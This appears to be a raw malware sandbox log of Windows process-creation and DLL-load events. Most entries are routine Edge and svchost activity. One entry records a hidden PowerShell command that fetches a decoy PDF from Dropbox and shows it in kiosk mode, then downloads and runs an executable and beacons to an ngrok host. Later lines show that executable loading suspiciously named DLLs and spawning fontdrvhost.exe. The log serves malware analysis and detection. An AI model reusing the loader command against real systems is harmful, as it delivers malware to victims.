Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6488 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=6972 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=8376 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:6	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\5622253b-f54a-4cad-af64-795d524a2bab.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1012 --field-trial-handle=1968,i,15940542465096520038,8581582987264713649,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Section loaded: k7rn7l32.dll
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Section loaded: ntd3ll.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
